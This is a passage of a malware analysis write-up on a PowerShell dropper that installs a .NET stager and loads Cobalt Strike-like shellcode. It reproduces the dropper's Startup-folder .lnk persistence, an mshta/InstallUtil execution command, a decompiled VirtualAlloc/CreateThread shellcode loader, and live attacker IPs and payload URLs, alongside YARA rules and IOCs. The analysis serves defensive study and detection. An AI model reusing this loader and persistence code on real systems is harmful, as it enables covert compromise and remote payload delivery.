EMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEAACwABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABzAHQAYQBnAGUAcgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4
AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAA8DoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
[Byte[]]$DllBytes = [System.Convert]::FromBase64String($JJKkNr);
[System.IO.File]::WriteAllBytes($RRDmITbs,$DllBytes);
	

$yfseRl = 0
$kRZxpki = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) 
if($kRZxpki.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
\{
	$yfseRl = 1
\}	
	
if ($yfseRl -eq 1)
\{
	$ngxrSg = "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
\}else
\{
	$ngxrSg = "$Env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
\}	


$piAvpEJ = New-Object -comObject WScript.Shell
$FQpcWlja = $piAvpEJ.CreateShortcut($ngxrSg + "\hihGDG.lnk");
$FQpcWlja.TargetPath = "%SystemRoot%\system32\mshta.exe"
$FQpcWlja.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$FQpcWlja.Arguments = '                                       '+ $aGUIb
$FQpcWlja.Save()

As part of the Powershell script, a persistence method of a lnk file will execute the following command

mshta.exe 	vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\admin\AppData\Local\Temp\HmUMV.dat""),0"))

Extracting the base64 blob and decoding will rebuild an exe which is written in .NET. The binary is executed using the same command as in the .lnk file which is using mshta -> vbscript -> InstallUtil.

Due to the executable being invoked with InstallUtil the class with the [RunInstaller(true)] decorator will execute the primary function of this malware.

When inspecting the main function, it simply prints a string to STDOUT and exits. This is a clever method of evading a simple sandbox run or emulation.

using System;

// Token: 0x02000002 RID: 2
public class Program
\{
	// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
	public static void Main()
	\{
		Console.WriteLine("sTlSYMUzPFqOxhKx");
	\}
\}

The primary functionality of this backdoor is executed from the Sample class, calling the .Exec() method.

using System;
using System.Collections;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;

// Token: 0x02000003 RID: 3
[RunInstaller(true)]
public class Sample : Installer
\{
	// Token: 0x06000003 RID: 3 RVA: 0x00002068 File Offset: 0x00000268
	public override void Uninstall(IDictionary savedState)
	\{
		while (true)
		\{
			Sample.Exec();
		\}
	\}

Diving into the Exec() method, it performs 3 functions. Builds a byte array of shellcode, VirtualAlloc’s a section, copies the shellcode and spawn a thread to the newly copied code.

	// Token: 0x06000004 RID: 4 RVA: 0x00002DD0 File Offset: 0x00000FD0
	public static void Exec()
	\{
		byte[] array = new byte[]
		\{
			245,
			232,
			214,
			12,
			0,
			0,
			221,
			10,
			60,
			...snipped...

		IntPtr hModule = Sample.LoadLibrary("kernel32.dll");
		IntPtr procAddress = Sample.GetProcAddress(hModule, "VirtualAlloc");
		Sample.TWZegjk tWZegjk = 	(Sample.TWZegjk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Sample.TWZegjk));
		procAddress = Sample.GetProcAddress(hModule, "CreateThread");
		Sample.TCreateThread tCreateThread = (Sample.TCreateThread)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Sample.TCreateThread));
		uint num = tWZegjk(0u, (uint)array.Length, Sample.MEM_COMMIT, Sample.PAGE_EXECUTE_READWRITE);
		Marshal.Copy(array, 0, (IntPtr)((long)((ulong)num)), array.Length);
		IntPtr hHandle = IntPtr.Zero;
		uint num2 = 0u;
		IntPtr zero = IntPtr.Zero;
		hHandle = tCreateThread(0u, 0u, num, zero, 0u, ref num2);
		Sample.WaitForSingleObject(hHandle, 4294967295u);

Since the byte array is composed of raw code the next logical step is to load up the shellcode in a disassembler.

A small decoding function (in this case xor 0x35) to is used decode the second stage.

|       .-> 0x00000d1f      803235         xor byte [rdx], 0x35
|       :   0x00000d22      83c201         add edx, 1
|       :   0x00000d25      83e901         sub ecx, 1
|       :   0x00000d28      83f900         cmp ecx, 0
|       `=< 0x00000d2b      75f2           jne 0xd1f

Once decoding is completed, referencing strings on the output can give a good idea of what the shellcode does (junk strings are omitted).

wininet
user32
msvcrt
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
text/plain; charset=utf-8
kernel32.dll
%appdata%\FlashPlayer
\plug1.dat
www.yahoorealtors.com
45.77.209.52
tors.com

The shellcode is using a CRC32 API hashing routine, the following constants get resolved in the main function.

API Hash	Function Name
0x3fc1bd8d	LoadLibraryA
0x9ce0d4a	VirtualAlloc
0xd6874364	lstrcmpi

LoadLibraryA is then called on winnet and more functions are resolved.

API Hash	Function Name
0xda16a83d	InternetOpenA
0xc24fa5f4	InternetConnectA
0x447d086b	HttpOpenRequestA
0xff00b1f6	HttpSendRequestA
0x6cc098f5	InternetReadFile
0xe5191d24	InternetCloseHandle
0x2b53da6	HttpQueryInfoA

LoadLibraryA is then called on user32 and more functions are resolved.

API Hash	Function Name
0xeb8798ca	InternetErrorDlg

LoadLibraryA is called on msvcrt and more functions are resolved.

API Hash	Function Name
0x272D2162	atoi

InternetOpenA is called passing the UserAgent. Once the connection is established, InternetReadFile is called to invoke downloading of the second stage backdoor.

73573C9E | 50                       | push eax                                | eax:"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)"
73573C9F | FF D7                    | call edi                                | edi:InternetOpenA

Network Notes

During execution the ET suricata signature ET TROJAN [PTsecurity] Possible Cobalt Strike payload was triggered.

Developing Signatures

Malware authors will use and abuse many different file formats in order to ship code to an endpoint. Sometimes it’s a simple .js file in a zip sent in via phish, and other times it’s buried deep within some powershell code and may never touch disk.

In this case, the malware does eventually touch disk, but the dropper is only the .NET file, which will load up the shellcode and exec everytime it’s run. Depending on the EDR tool(s) used within your network this attack can be caught in a variety of ways.

The following yara rules will catch the binary at different stages of execution.

import "pe"

rule NET_Stager {
  meta:
    author = "Nick Hoffman"
    hash = "E47BBDF4ED7625D2316C4D6E7EA1495E"
    description = "Downloader dropped from A50386914339E119E27B37C81CF58972, simple rule looking for the metadata"
  condition:
    pe.version_info["InternalName"] == "stager.exe" and
    pe.version_info["FileVersion"] == "0.0.0.0"
}

rule NET_Stager_Shellcode {
  meta:
    author = "Nick Hoffman"
    hash = "E47BBDF4ED7625D2316C4D6E7EA1495E"
    description = "Patterns within the shellcode of the dropper dropped from A50386914339E119E27B37C81CF58972"
  strings:
    /*
    |       .-> 0x00000d1f      803235         xor byte [rdx], 0x35
    |       :   0x00000d22      83c201         add edx, 1
    |       :   0x00000d25      83e901         sub ecx, 1
    |       :   0x00000d28      83f900         cmp ecx, 0
    |       `=< 0x00000d2b      75f2           jne 0xd1f
    */
    $initial_decode = {80323583c20183e90183f9007?}
    /*
    7383459D | 55                       | push ebp                                |
    7383459E | 8B EC                    | mov ebp,esp                             |
    738345A0 | 51                       | push ecx                                |
    738345A1 | 29 C0                    | sub eax,eax                             |
    738345A3 | 64 8B 40 30              | mov eax,dword ptr fs:[eax+30]           |
    738345A7 | 8B 40 0C                 | mov eax,dword ptr ds:[eax+C]            |
    738345AA | 8B 50 1C                 | mov edx,dword ptr ds:[eax+1C]           |
    738345AD | 8B 42 08                 | mov eax,dword ptr ds:[edx+8]            |
    738345B0 | 8B 4A 20                 | mov ecx,dword ptr ds:[edx+20]           |
    738345B3 | 8B 12                    | mov edx,dword ptr ds:[edx]              |
    738345B5 | 66 83 79 0C 33           | cmp word ptr ds:[ecx+C],33              | 33:'3'
    738345BA | 75 F1                    | jne capstone.738345AD                   |
    738345BC | 89 45 FC                 | mov dword ptr ss:[ebp-4],eax            |
    738345BF | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]            |
    738345C2 | 59                       | pop ecx                                 |
    738345C3 | 5D                       | pop ebp                                 |
    738345C4 | C3                       | ret                                     |
    */
    $peb_crawl_and_ret = {55 8B EC 51 29 C0 64 8B 40 30 8B 40 0C 8B 50 1C 8B 42 08 8B 4A 20 8B 12 66 83 79 0C 33 7? ?? 89 45 FC 8B 45 FC 59 5D C3}
    
  condition:
    any of them
}

IOCS

http://www.yahoorealtors.com/TQD7
http://45.77.209.52/planetearth.ps1
http://45.77.209.52/temp.doc
http://45.77.209.52/temp02.hta
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hihGDG.lnk
C:\Users\admin\AppData\Local\Temp\HmUMV.dat
C:\Users\admin\AppData\Local\Temp\win.ps1
C:\Users\admin\AppData\Local\Temp\temp.doc